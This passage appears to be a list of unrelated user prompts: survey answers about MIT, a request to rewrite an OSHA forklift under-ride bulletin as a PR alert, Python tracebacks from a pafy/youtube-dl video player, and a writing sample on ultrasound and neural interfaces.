education.\ntechnology\nIntelligence\nTechnology\nbest technology institution\nProgressive and advanced\nFair minded Hard to access for admission Proven scholarship Youngsters in admissions\nSmart people\nEngineering\nScience-Boston\nBEST UNIVERSITY.THERE ARE MANY OPPORTUNITIES FOR BOTH UNDERGRADUATE AND GRADUATE STUDENT\nComputers\nLeading STEM university\nWhen I think of MIT I think of a cultured university. One with high standards and well rounded. I also think about the band. One band one sound.\nBrilliant scientific minds\nINTELLIGENCE\nreputation\ninnovations in science and technology\ntechnology\nAdvanced Technology\nbusiness and finance\nPremier education\nWhat comes to mind when you think about MIT?\nScholars\nCollege\nScience\nIts best in the america.\nIntelligence\nengeering\nTechnology, intelligence\nIvy league school\nEngineering\nBrilliance\nComputers\nScience and technology\nTechnology innovation\nEngineering\nleader in education and advancing technology\nGeniuses\nGreat technology school\nSlack\nEngineering, highly competitive, expensive,\nMATH\nVery talented students\nI had a friend who got a scholarship to MIT for math.\nsuper intelligent\nPrestige\nWhat comes to mind when you think about MIT?\nGood reputation\nAdvancements in technology and robotics by one of the best technical schools in the world\nVery selective and smart\nTechnology\nEngineering, robotics, top rate education\nIt\'s filled with a lot of brilliant minds, with a specific emphasis on math and engineering.\nBusiness\nTechnology & Innovation\nTechnology\nEngineers. Pranks on Harvard\nThey are known for scientific innovation\ninnovation\nHighest technology institution\nInnovation, creativity, bold ideas\ntechnology\ntechnology\nVery Smart people who are innovative in many of the scientific needs of the planet today.\nHigh powered engineering\nExcellence\nTechnology\nSTEM\ntechnology and science\nSmart school, mathematics, tech\nit is the bets\nWhat comes to mind when you think about MIT?\nSmart, Driven people\nTechnology\nScience and technology based education\nEast coast elite\nEngineering\nScience and mathematics.\nVery fancy and super smart kids\nGreat school\nScience and Technology. Very selective requirements for students means some of the brightest in the country end up attending.\nTechnology innovator\ngreat\nIntelligent\ntechnology\nSheldon Cooper\nIT\nthe massachusetts institute of technology is a private land grant research university in cambridge,massachusetts.established in 1861,MIT has since\nplayed a key role in the development of modern technology and institutions in the world\nTechnology, creativity, a place for the best minds to develop new and innovative answers to the world\'s problems\nBest for math and rngineering\nTECHNOLOGY\nThe fist thing that comes to mind is a highly respected college that focuses on technology and science degrees.\nTechnological advances\nexcellent technology university\nGreat school.\nMassachusetts institute of Technology\nWhat comes to mind when you think about MIT?\nWhen I think about MIT, I think of what intelligent students are given the opportunity to attend.\nscientific excellence, cutting edge\nscience\nMy high school friend Alex who went to MIT\nInnovative Institution\nunique\nMIT is profoundly american\nexpensive\nScience\nscience advancement\nLeader\nScientific based innovative technology driven curriculum\nreally smart people are coming out of that school\nTechnology innovators\nScience the ability to give information clearly and commitment to study\nThings related to technology and the development of the world\nRobotics\nIntelligent\nThe best in the world\nOne of the best University for technology.\nSmaet\nInnovation\nBoston\nInnovation\nWhat comes to mind when you think about MIT?\nComputers\nTechnological think tank\nScience and technology\nTechnological advances\ntechnology\nGood and cool to learn\nSearches student and dr\nmilled in transit for it`s meaning I know\nimportant teach\nSome of the best minds in America\nAn innovative university\nInnovation, science, and technology.\nThe MIT community is driven by a shared purpose: to make a better world through education, research, and innovation\nExploring new ideas for common people to discover not just businesses and the government\nBoston located university with a reputation for scientific research.\nScience\nEngineering, science, STEM\nTrusted\nLeader in academics\nsmart people\nEngineering\nTechnology and machines\ncomputers\nIt\'s amazing school for brilliant minds\nWhat comes to mind when you think about MIT?\nIt is really innovative institution.\nThat MIT awarded me a "teacher of the year" award based on the number of my students admitted at MIT.\nSmart People, east coast mindset\nCreativity\nSomething good' -'act as a Public Relations executive re write this osha bulletin and make it an Alert! write approximately 1800 words include 4 key point bullet and 7 fear of loss bullets and U. S. Department of LaborOccupational Safety and Health Administration\nDirectorate of Technical Support and Emergency Management\nOffice of Science and Technology Assessment Standup Forklift Under-ride Hazards Safety and Health Information Preface\nForklift truck operators must look in the\ndirection of travel and keep the forklift under\ncontrol at all times. One of the potential\nhazards faced by standup forklift operators is\nthe crushing hazard that can arise when\ntraveling, with the forks trailing, in a\nwarehouse near a storage rack or similar\nobstruction. The risk is that a horizontal rack\nbeam (crossbar) or similar obstruction might\nenter the operator’s compartment in a situation\nreferred to as “under-ride.” This Safety and\nHealth Information Bulletin (SHIB) discusses\nways to reduce the crushing hazard to the\noperator associated with under-ride. Awareness\nof the precautions and safety measures\nhighlighted in this SHIB can help prevent\nserious injuries and fatalities related to\nwarehouse operations.Purpose\nThe purpose of this SHIB is to\nAlert standup forklift operators and\nemployers to the crushing hazard to the\noperator associated with under-ride;\nIdentify standup forklift features that\nare available on new equipment or that\ncan be installed on standup forklifts to\naddress the hazard (ANSI/ITSDF\nB56.1-2005, para. 4.5.3, 7.30, 7.36.)\nThis Safety and Health Information Bulletin\n(SHIB) is not a standard or a regulation, and it\ncreates no new legal obligations. It contains\nrecommendations as well as descriptions of\nmandatory safety and health standards. The\nrecommendations are advisory in nature,\ninformational in content, and are intended to\nassist employers in providing a safe and\nhealthful workplace. The Occupational Safety\nand Health Act requires employers to comply\nwith safety and health standards and regulations\npromulgated by OSHA or by a state with an\nOSHA-approved state Plan. In addition, the\nAct’s General Duty Clause, Section 5(a)(1),\nrequires employers to provide their employees\nwith a workplace free from recognized hazards\nlikely to cause death or serious physical harm.\nIdentify arrangements or modifications\nof storage racks that might reduce the\nrisk of under-ride;Recommend work practices that can be\nimplemented by the employer to\neliminate the under-ride hazard;\nStress the importance of training\n employees on the safe operation\n of standup forklifts; and\nEnsure that employees follow safe\noperating procedures.\nSHIB 07-27-20092 Background\nA forklift “under-ride” hazard arises when the\nforklift operator travels with the forks trailing\nand backs up toward the storage rack. If the\noperator drives the forklift too far, so that the\nforklift passes beneath the horizontal crossbar\n(i.e., the operator creates an “under-ride”), the\ncrossbar can enter the operator’s compartment\nand crush the operator inside the compartment.\nThe Occupational Safety and Health\nAdministration’s (OSHA) Integrated\nManagement Information System data for the\nperiod of 1993 through 2008 indicate that at\nleast nine employees have been killed and three\nemployees sustained severe crushing injuries\nwhen operating a standup forklift in reverse.\nThese forklifts did not have a protective rear\nguard or corner post to prevent under-ride from\noccurring.Accident Description\nThe OSHA Cleveland Area Office investigated\na fatality at a warehouse where a standup\nforklift operator was found pinned between the\nlower horizontal crossbar of a storage-rack\nshelving system and the interior of the\noperator’s compartment. The horizontal\ncrossbar of the shelving system was 55 inches\n(140 centimeters) above the floor, while the top\nsurface of the operator’s compartment was only\n49 inches (124 centimeters) above the floor.\nThis left a space of 6 inches (15 centimeters)\nbetween the crossbar and the top surface of the\noperator’s compartment. Although the forklift\nhad an overhead guard, the shelving rack was\nnot positioned at the same level as the guard to\nprevent the under-ride from occurring. When\nthe operator traveled with the forks trailing, the\nforklift passed under the crossbar, which struck\nthe operator above the waist and pinned his\ntorso against a part of the operator’s\ncompartment. The operator died of\nasphyxiation injuries.\nThis photograph depicts a forklift under a\nstorage rack after an under-ride accident.\nThe crossbar is protruding above the\noperator’s cab. Forklift manufacturers have\nvarious features available to assist in\npreventing such under-rides. \nOSHA’s Standard Requirements\nProper training is essential to the safe operation\nof powered industrial trucks. Paragraph (l) of\nOSHA’s Powered Industrial Trucks Standard,\n29 CFR 1910.178, contains training and\ncertification requirements for the use of\nforklifts that are specific to the workplace. The\nstandard requires employers to develop and\nimplement a training program for all operators\nbased on the general principles of safe truck\noperation; the types of vehicles being used in\nthe workplace, including the instructions,\nwarnings, and precautions found in the\noperator’s manual; the hazards of the\nworkplace created by the use of the vehicle;\nand the general safety requirements of the\nOSHA standard.\nAdditionally, 29 CFR 1910.178(n)(1) and\n(n)(6) require operators to keep the forklift\nunder control at all times and to look in the\ndirection of travel.\nRecommendations\nThe following recommendations will reduce\nthe risk of under-ride hazards associated with\noperating standup forklifts.\nEmployers should evaluate their worksite to\ndetermine if an under-ride hazard exists. If\nthere are rack crossbars or similar obstructions\nin the facility, the employer should take one or\nmore of the following actions:\nIf possible, make modifications to the\nshelving system.\nAdjust the shelf heights so that\nthe body of the forklift below\nthe operator’s compartment will\nstrike the rack in the event of\ncontact, preventing under-ride\nfrom occurring. Adjust the shelf heights so that\nthe forklift’s overhead guard\nwill strike the rack in the event\nof contact, preventing under-ride\nfrom occurring. Install a barrier, even with the outer\nedge of the storage rack (such as a curb\nor floor level shelf), so that the bottom\nof the forklift will strike the curb or\nshelf in the event of contact, preventing\nan under-ride from occurring.\n Purchase, where appropriate, standup\nforklifts that have corner posts,\nextended backrests, rear post guards, or\nother features to prevent an under-ride\nfrom occurring. (Specific guards or\nother means that enhance safe\noperations would be determined\nthrough cooperation between the user\nand manufacturer (see ANSI /ITSDF\nB56.1-2005, para.4.5.3, 7.30, and\n7.36).)\nContact the manufacturer to discuss\ninstalling rear post guards or other\nequivalent protections that address the\nunder-ride hazard on existing standup\nforklifts. These posts may be available\nfrom the forklift manufacturer. (Note\nthat modifications and additions which\naffect safe operation shall not be\nperformed by the customer or user\nwithout the manufacturer’s prior written\napproval. 29 CFR 1910.178 (a)(4).)\nEvaluate control methods to assure that\nguards do not limit visibility, present\npinch-point hazards, or add any\nadditional hazard to forklift operators or\nother employees on the site.\nTrain employees to operate forklifts\nsafely as required by paragraph (l) of 29\nCFR 1910.178, including recognizing\nthe hazards of the workplace created by\nthe use of the vehicles.\nRefer to the Powered Industrial\nTrucks (Forklift) eTool as a resource for\ninformation to keep employees who\noperate forklifts safe on the job. The\neTool provides a review of potential\nhazards and a summary of key OSHA \nUpper rack is positioned at the same level as the\noverhead guard, preventing the possibility of an\nunder-ride. The forklift shown in this photograph\nhas an overhead guard and an extended backrest.\nKits with additional posts are other safety features\nthat are available on many forklifts.\nConclusion\nMinimizing the potential for serious or fatal\ninjuries to standup forklift operators is the\nprimary concern of this SHIB. Following the\nsafe work practices recommended in this SHIB,\nand training employees as required in OSHA\nregulations, will help accomplish this goal.\nReferences\nOSHA Integrated Management\nInformation System (IMIS), 1993-\n2005.\nAmerican National Standard\nANSI/ITSDF B56.1-2005, Safety\nStandard for Low Lift and High Lift\nTrucks, Industrial Truck Standards\nDevelopment Foundation.' -'Exception in Tkinter callback\nTraceback (most recent call last):\n File "C:\\Program Files\\Python311\\Lib\\tkinter\\\\_\\_init\\_\\_.py", line 1948, in \\_\\_call\\_\\_\n return self.func(\\*args)\n ^^^^^^^^^^^^^^^^\n File "C:\\Users\\Dan.QTIS\\Desktop\\Dan-Special\\Tests\\test3.py", line 24, in play\\_button\\_clicked\n video = pafy.new(url)\n ^^^^^^^^^^^^^\n File "C:\\Users\\Dan.QTIS\\AppData\\Roaming\\Python\\Python311\\site-packages\\pafy\\pafy.py", line 124, in new\n return Pafy(url, basic, gdata, size, callback, ydl\\_opts=ydl\\_opts)\n ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n File "C:\\Users\\Dan.QTIS\\AppData\\Roaming\\Python\\Python311\\site-packages\\pafy\\backend\\_youtube\\_dl.py", line 31, in \\_\\_init\\_\\_\n super(YtdlPafy, self).\\_\\_init\\_\\_(\\*args, \\*\\*kwargs)\n File "C:\\Users\\Dan.QTIS\\AppData\\Roaming\\Python\\Python311\\site-packages\\pafy\\backend\\_shared.py", line 62, in \\_\\_init\\_\\_\n self.videoid = extract\\_video\\_id(video\\_url)\n ^^^^^^^^^^^^^^^^^^^^^^^^^^^\n File "C:\\Users\\Dan.QTIS\\AppData\\Roaming\\Python\\Python311\\site-packages\\pafy\\backend\\_shared.py", line 51, in extract\\_video\\_id\n raise ValueError(err % url)\nValueError: Need 11 character video id or the URL of the video. Got //\nException in Tkinter callback\nTraceback (most recent call last):\n File "C:\\Program Files\\Python311\\Lib\\tkinter\\\\_\\_init\\_\\_.py", line 1948, in \\_\\_call\\_\\_\n return self.func(\\*args)\n ^^^^^^^^^^^^^^^^\n File "C:\\Users\\Dan.QTIS\\Desktop\\Dan-Special\\Tests\\test3.py", line 24, in play\\_button\\_clicked\n video = pafy.new(url)\n ^^^^^^^^^^^^^\n File "C:\\Users\\Dan.QTIS\\AppData\\Roaming\\Python\\Python311\\site-packages\\pafy\\pafy.py", line 124, in new\n return Pafy(url, basic, gdata, size, callback, ydl\\_opts=ydl\\_opts)\n ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n File "C:\\Users\\Dan.QTIS\\AppData\\Roaming\\Python\\Python311\\site-packages\\pafy\\backend\\_youtube\\_dl.py", line 31, in \\_\\_init\\_\\_\n super(YtdlPafy, self).\\_\\_init\\_\\_(\\*args, \\*\\*kwargs)\n File "C:\\Users\\Dan.QTIS\\AppData\\Roaming\\Python\\Python311\\site-packages\\pafy\\backend\\_shared.py", line 97, in \\_\\_init\\_\\_\n self.\\_fetch\\_basic()\n File "C:\\Users\\Dan.QTIS\\AppData\\Roaming\\Python\\Python311\\site-packages\\pafy\\backend\\_youtube\\_dl.py", line 53, in \\_fetch\\_basic\n self.\\_likes = self.\\_ydl\\_info[\'like\\_count\']\n ~~~~~~~~~~~~~~^^^^^^^^^^^^^^\nKeyError: \'like\\_count\'\nException in Tkinter callback\nTraceback (most recent call last):\n File "C:\\Program Files\\Python311\\Lib\\tkinter\\\\_\\_init\\_\\_.py", line 1948, in \\_\\_call\\_\\_\n return self.func(\\*args)\n ^^^^^^^^^^^^^^^^\n File "C:\\Users\\Dan.QTIS\\Desktop\\Dan-Special\\Tests\\test3.py", line 24, in play\\_button\\_clicked\n video = pafy.new(url)\n ^^^^^^^^^^^^^\n File "C:\\Users\\Dan.QTIS\\AppData\\Roaming\\Python\\Python311\\site-packages\\pafy\\pafy.py", line 124, in new\n return Pafy(url, basic, gdata, size, callback, ydl\\_opts=ydl\\_opts)\n ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n File "C:\\Users\\Dan.QTIS\\AppData\\Roaming\\Python\\Python311\\site-packages\\pafy\\backend\\_youtube\\_dl.py", line 31, in \\_\\_init\\_\\_\n super(YtdlPafy, self).\\_\\_init\\_\\_(\\*args, \\*\\*kwargs)\n File "C:\\Users\\Dan.QTIS\\AppData\\Roaming\\Python\\Python311\\site-packages\\pafy\\backend\\_shared.py", line 97, in \\_\\_init\\_\\_\n self.\\_fetch\\_basic()\n File "C:\\Users\\Dan.QTIS\\AppData\\Roaming\\Python\\Python311\\site-packages\\pafy\\backend\\_youtube\\_dl.py", line 53, in \\_fetch\\_basic\n self.\\_likes = self.\\_ydl\\_info[\'like\\_count\']\n ~~~~~~~~~~~~~~^^^^^^^^^^^^^^\nKeyError: \'like\\_count\'\nException in Tkinter callback\nTraceback (most recent call last):\n File "C:\\Program Files\\Python311\\Lib\\tkinter\\\\_\\_init\\_\\_.py", line 1948, in \\_\\_call\\_\\_\n return self.func(\\*args)\n ^^^^^^^^^^^^^^^^\n File "C:\\Users\\Dan.QTIS\\Desktop\\Dan-Special\\Tests\\test3.py", line 24, in play\\_button\\_clicked\n video = pafy.new(url)\n ^^^^^^^^^^^^^\n File "C:\\Users\\Dan.QTIS\\AppData\\Roaming\\Python\\Python311\\site-packages\\pafy\\pafy.py", line 124, in new\n return Pafy(url, basic, gdata, size, callback, ydl\\_opts=ydl\\_opts)\n ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n File "C:\\Users\\Dan.QTIS\\AppData\\Roaming\\Python\\Python311\\site-packages\\pafy\\backend\\_youtube\\_dl.py", line 31, in \\_\\_init\\_\\_\n super(YtdlPafy, self).\\_\\_init\\_\\_(\\*args, \\*\\*kwargs)\n File "C:\\Users\\Dan.QTIS\\AppData\\Roaming\\Python\\Python311\\site-packages\\pafy\\backend\\_shared.py", line 97, in \\_\\_init\\_\\_\n self.\\_fetch\\_basic()\n File "C:\\Users\\Dan.QTIS\\AppData\\Roaming\\Python\\Python311\\site-packages\\pafy\\backend\\_youtube\\_dl.py", line 53, in \\_fetch\\_basic\n self.\\_likes = self.\\_ydl\\_info[\'like\\_count\']\n ~~~~~~~~~~~~~~^^^^^^^^^^^^^^\nKeyError: \'like\\_count\'\nException in Tkinter callback\nTraceback (most recent call last):\n File "C:\\Program Files\\Python311\\Lib\\tkinter\\\\_\\_init\\_\\_.py", line 1948, in \\_\\_call\\_\\_\n return self.func(\\*args)\n ^^^^^^^^^^^^^^^^\n File "C:\\Users\\Dan.QTIS\\Desktop\\Dan-Special\\Tests\\test3.py", line 24, in play\\_button\\_clicked\n video = pafy.new(url)\n ^^^^^^^^^^^^^\n File "C:\\Users\\Dan.QTIS\\AppData\\Roaming\\Python\\Python311\\site-packages\\pafy\\pafy.py", line 124, in new\n return Pafy(url, basic, gdata, size, callback, ydl\\_opts=ydl\\_opts)\n ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n File "C:\\Users\\Dan.QTIS\\AppData\\Roaming\\Python\\Python311\\site-packages\\pafy\\backend\\_youtube\\_dl.py", line 31, in \\_\\_init\\_\\_\n super(YtdlPafy, self).\\_\\_init\\_\\_(\\*args, \\*\\*kwargs)\n File "C:\\Users\\Dan.QTIS\\AppData\\Roaming\\Python\\Python311\\site-packages\\pafy\\backend\\_shared.py", line 97, in \\_\\_init\\_\\_\n self.\\_fetch\\_basic()\n File "C:\\Users\\Dan.QTIS\\AppData\\Roaming\\Python\\Python311\\site-packages\\pafy\\backend\\_youtube\\_dl.py", line 53, in \\_fetch\\_basic\n self.\\_likes = self.\\_ydl\\_info[\'like\\_count\']\n ~~~~~~~~~~~~~~^^^^^^^^^^^^^^\nKeyError: \'like\\_count\'\nERROR: Unable to extract uploader id; please report this issue on https://yt-dl.org/bug . Make sure you are using the latest version; see https://yt-dl.org/update on how to update. Be sure to call youtube-dl with the --verbose flag and include its complete output.\nException in Tkinter callback\nTraceback (most recent call last):\n File "C:\\Users\\Dan.QTIS\\AppData\\Roaming\\Python\\Python311\\site-packages\\youtube\\_dl\\YoutubeDL.py", line 815, in wrapper\n return func(self, \\*args, \\*\\*kwargs)\n ^^^^^^^^^^^^^^^^^^^^^^^^^^^\n File "C:\\Users\\Dan.QTIS\\AppData\\Roaming\\Python\\Python311\\site-packages\\youtube\\_dl\\YoutubeDL.py", line 836, in \\_\\_extract\\_info\n ie\\_result = ie.extract(url)\n ^^^^^^^^^^^^^^^\n File "C:\\Users\\Dan.QTIS\\AppData\\Roaming\\Python\\Python311\\site-packages\\youtube\\_dl\\extractor\\common.py", line 534, in extract\n ie\\_result = self.\\_real\\_extract(url)\n ^^^^^^^^^^^^^^^^^^^^^^^\n File "C:\\Users\\Dan.QTIS\\AppData\\Roaming\\Python\\Python311\\site-packages\\youtube\\_dl\\extractor\\youtube.py", line 1794, in \\_real\\_extract\n \'uploader\\_id\': self.\\_search\\_regex(r\'/(?:channel|user)/([^/?&#]+)\', owner\\_profile\\_url, \'uploader id\') if owner\\_profile\\_url else None,\n ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n File "C:\\Users\\Dan.QTIS\\AppData\\Roaming\\Python\\Python311\\site-packages\\youtube\\_dl\\extractor\\common.py", line 1012, in \\_search\\_regex\n raise RegexNotFoundError(\'Unable to extract %s\' % \\_name)\nyoutube\\_dl.utils.RegexNotFoundError: Unable to extract uploader id; please report this issue on https://yt-dl.org/bug . Make sure you are using the latest version; see https://yt-dl.org/update on how to update. Be sure to call youtube-dl with the --verbose flag and include its complete output.\n\nDuring handling of the above exception, another exception occurred:\n\nTraceback (most recent call last):\n File "C:\\Users\\Dan.QTIS\\AppData\\Roaming\\Python\\Python311\\site-packages\\pafy\\backend\\_youtube\\_dl.py", line 40, in \\_fetch\\_basic\n self.\\_ydl\\_info = ydl.extract\\_info(self.videoid, download=False)\n ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n File "C:\\Users\\Dan.QTIS\\AppData\\Roaming\\Python\\Python311\\site-packages\\youtube\\_dl\\YoutubeDL.py", line 808, in extract\\_info\n return self.\\_\\_extract\\_info(url, ie, download, extra\\_info, process)\n ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n File "C:\\Users\\Dan.QTIS\\AppData\\Roaming\\Python\\Python311\\site-packages\\youtube\\_dl\\YoutubeDL.py", line 824, in wrapper\n self.report\\_error(compat\\_str(e), e.format\\_traceback())\n File "C:\\Users\\Dan.QTIS\\AppData\\Roaming\\Python\\Python311\\site-packages\\youtube\\_dl\\YoutubeDL.py", line 628, in report\\_error\n self.trouble(error\\_message, tb)\n File "C:\\Users\\Dan.QTIS\\AppData\\Roaming\\Python\\Python311\\site-packages\\youtube\\_dl\\YoutubeDL.py", line 598, in trouble\n raise DownloadError(message, exc\\_info)\nyoutube\\_dl.utils.DownloadError: ERROR: Unable to extract uploader id; please report this issue on https://yt-dl.org/bug . Make sure you are using the latest version; see https://yt-dl.org/update on how to update. Be sure to call youtube-dl with the --verbose flag and include its complete output.\n\nDuring handling of the above exception, another exception occurred:\n\nTraceback (most recent call last):\n File "C:\\Program Files\\Python311\\Lib\\tkinter\\\\_\\_init\\_\\_.py", line 1948, in \\_\\_call\\_\\_\n return self.func(\\*args)\n ^^^^^^^^^^^^^^^^\n File "C:\\Users\\Dan.QTIS\\Desktop\\Dan-Special\\Tests\\test3.py", line 24, in play\\_button\\_clicked\n video = pafy.new(url)\n ^^^^^^^^^^^^^\n File "C:\\Users\\Dan.QTIS\\AppData\\Roaming\\Python\\Python311\\site-packages\\pafy\\pafy.py", line 124, in new\n return Pafy(url, basic, gdata, size, callback, ydl\\_opts=ydl\\_opts)\n ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n File "C:\\Users\\Dan.QTIS\\AppData\\Roaming\\Python\\Python311\\site-packages\\pafy\\backend\\_youtube\\_dl.py", line 31, in \\_\\_init\\_\\_\n super(YtdlPafy, self).\\_\\_init\\_\\_(\\*args, \\*\\*kwargs)\n File "C:\\Users\\Dan.QTIS\\AppData\\Roaming\\Python\\Python311\\site-packages\\pafy\\backend\\_shared.py", line 97, in \\_\\_init\\_\\_\n self.\\_fetch\\_basic()\n File "C:\\Users\\Dan.QTIS\\AppData\\Roaming\\Python\\Python311\\site-packages\\pafy\\backend\\_youtube\\_dl.py", line 43, in \\_fetch\\_basic\n raise IOError(str(e).replace(\'YouTube said\', \'Youtube says\'))\nOSError: ERROR: Unable to extract uploader id; please report this issue on https://yt-dl.org/bug . Make sure you are using the latest version; see https://yt-dl.org/update on how to update. Be sure to call youtube-dl with the --verbose flag and include its complete output.\nERROR: Unable to extract uploader id; please report this issue on https://yt-dl.org/bug . Make sure you are using the latest version; see https://yt-dl.org/update on how to update. Be sure to call youtube-dl with the --verbose flag and include its complete output.\nException in Tkinter callback\nTraceback (most recent call last):\n File "C:\\Users\\Dan.QTIS\\AppData\\Roaming\\Python\\Python311\\site-packages\\youtube\\_dl\\YoutubeDL.py", line 815, in wrapper\n return func(self, \\*args, \\*\\*kwargs)\n ^^^^^^^^^^^^^^^^^^^^^^^^^^^\n File "C:\\Users\\Dan.QTIS\\AppData\\Roaming\\Python\\Python311\\site-packages\\youtube\\_dl\\YoutubeDL.py", line 836, in \\_\\_extract\\_info\n ie\\_result = ie.extract(url)\n ^^^^^^^^^^^^^^^\n File "C:\\Users\\Dan.QTIS\\AppData\\Roaming\\Python\\Python311\\site-packages\\youtube\\_dl\\extractor\\common.py", line 534, in extract\n ie\\_result = self.\\_real\\_extract(url)\n ^^^^^^^^^^^^^^^^^^^^^^^\n File "C:\\Users\\Dan.QTIS\\AppData\\Roaming\\Python\\Python311\\site-packages\\youtube\\_dl\\extractor\\youtube.py", line 1794, in \\_real\\_extract\n \'uploader\\_id\': self.\\_search\\_regex(r\'/(?:channel|user)/([^/?&#]+)\', owner\\_profile\\_url, \'uploader id\') if owner\\_profile\\_url else None,\n ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n File "C:\\Users\\Dan.QTIS\\AppData\\Roaming\\Python\\Python311\\site-packages\\youtube\\_dl\\extractor\\common.py", line 1012, in \\_search\\_regex\n raise RegexNotFoundError(\'Unable to extract %s\' % \\_name)\nyoutube\\_dl.utils.RegexNotFoundError: Unable to extract uploader id; please report this issue on https://yt-dl.org/bug . Make sure you are using the latest version; see https://yt-dl.org/update on how to update. Be sure to call youtube-dl with the --verbose flag and include its complete output.\n\nDuring handling of the above exception, another exception occurred:\n\nTraceback (most recent call last):\n File "C:\\Users\\Dan.QTIS\\AppData\\Roaming\\Python\\Python311\\site-packages\\pafy\\backend\\_youtube\\_dl.py", line 40, in \\_fetch\\_basic\n self.\\_ydl\\_info = ydl.extract\\_info(self.videoid, download=False)\n ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n File "C:\\Users\\Dan.QTIS\\AppData\\Roaming\\Python\\Python311\\site-packages\\youtube\\_dl\\YoutubeDL.py", line 808, in extract\\_info\n return self.\\_\\_extract\\_info(url, ie, download, extra\\_info, process)\n ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n File "C:\\Users\\Dan.QTIS\\AppData\\Roaming\\Python\\Python311\\site-packages\\youtube\\_dl\\YoutubeDL.py", line 824, in wrapper\n self.report\\_error(compat\\_str(e), e.format\\_traceback())\n File "C:\\Users\\Dan.QTIS\\AppData\\Roaming\\Python\\Python311\\site-packages\\youtube\\_dl\\YoutubeDL.py", line 628, in report\\_error\n self.trouble(error\\_message, tb)\n File "C:\\Users\\Dan.QTIS\\AppData\\Roaming\\Python\\Python311\\site-packages\\youtube\\_dl\\YoutubeDL.py", line 598, in trouble\n raise DownloadError(message, exc\\_info)\nyoutube\\_dl.utils.DownloadError: ERROR: Unable to extract uploader id; please report this issue on https://yt-dl.org/bug . Make sure you are using the latest version; see https://yt-dl.org/update on how to update. Be sure to call youtube-dl with the --verbose flag and include its complete output.\n\nDuring handling of the above exception, another exception occurred:\n\nTraceback (most recent call last):\n File "C:\\Program Files\\Python311\\Lib\\tkinter\\\\_\\_init\\_\\_.py", line 1948, in \\_\\_call\\_\\_\n return self.func(\\*args)\n ^^^^^^^^^^^^^^^^\n File "C:\\Users\\Dan.QTIS\\Desktop\\Dan-Special\\Tests\\test3.py", line 24, in play\\_button\\_clicked\n video = pafy.new(url)\n ^^^^^^^^^^^^^\n File "C:\\Users\\Dan.QTIS\\AppData\\Roaming\\Python\\Python311\\site-packages\\pafy\\pafy.py", line 124, in new\n return Pafy(url, basic, gdata, size, callback, ydl\\_opts=ydl\\_opts)\n ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n File "C:\\Users\\Dan.QTIS\\AppData\\Roaming\\Python\\Python311\\site-packages\\pafy\\backend\\_youtube\\_dl.py", line 31, in \\_\\_init\\_\\_\n super(YtdlPafy, self).\\_\\_init\\_\\_(\\*args, \\*\\*kwargs)\n File "C:\\Users\\Dan.QTIS\\AppData\\Roaming\\Python\\Python311\\site-packages\\pafy\\backend\\_shared.py", line 97, in \\_\\_init\\_\\_\n self.\\_fetch\\_basic()\n File "C:\\Users\\Dan.QTIS\\AppData\\Roaming\\Python\\Python311\\site-packages\\pafy\\backend\\_youtube\\_dl.py", line 43, in \\_fetch\\_basic\n raise IOError(str(e).replace(\'YouTube said\', \'Youtube says\'))\nOSError: ERROR: Unable to extract uploader id; please report this issue on https://yt-dl.org/bug . Make sure you are using the latest version; see https://yt-dl.org/update on how to update. Be sure to call youtube-dl with the --verbose flag and include its complete output.' -'Here Damian! This is another example of my technical writing, please analyze the style, science, and rhetoric that I used. Really get to know my writing style with this one:\n"\nTherapeutic ultrasound has been used for imaging and treating various conditions due to its penetration depth and thermal effects[19.]. Similar to electromagnetic radiation, the penetration depth of ultrasound is highly dependent on the signal frequency. Typically ultrasound can be categorized by low power/low frequency or high power/high frequency. High-intensity ultrasound, often over 1000W/cm2, generally is used for its thermal properties as the vibrations cause heat to be generated in the target tissue. 1 MHz ultrasound has been shown to penetrate up to 2.3 to 5 cm, while 3 MHz ultrasound can penetrate up to 0.8 to 1.6 cm deep[19.]. Generally, ultrasound cannot be applied across the skull because of the massive attenuation at the skin-bone interface. The attenuation causes heat as the lost acoustic energy is converted into thermal energy. However, to account for the attenuation through the skull, phased \nSignal Type\nPenetration Depth\nSpatial Resolution\nNIR light\n2mm\n0.05mm\nMicrowaves\n50mm\n4mm\nUltrasound\n30mm\n1-2mm\nMagnetic Fields\n50mm \n10mm\n\nTable 2: Comparison of the three primary signals\n There exists an inverse relationship between penetration depth and spatial resolution in primary signals. As depicted in Table 2, NIR light, the ideal visible light primary signal, can only penetrate 4.4mm into tissue allowing for stimulation of the cerebral cortex, which is the outermost layer of the brain. Microwaves and TMS can penetrate approximately 50mm into the brain, which would allow for stimulation of the entirety of the cerebrum. However, NIR light can be focused on a near-nanoscale under ideal conditions, while TMS and microwaves can only be focused on a centimeter scale. Transcranial Doppler can penetrate 30mm into the brain while having a millimeter-scale resolution, falling between the two extremes. Given the inverse relationship of penetration depth to spatial resolution, the primary signals could be combined by utilizing different nFNIs to achieve deep stimulation without sacrificing spatial resolution.\nNano Functional Neural Interfaces\n Nano functional neural interfaces are an emerging field within Functional Neural Interfaces that could potentially revolutionize neuroscience as a whole. As shown in figure 1, nFNIs are nanotransducers capable of converting a primary external signal to a secondary form of energy that can activate an ion channel. 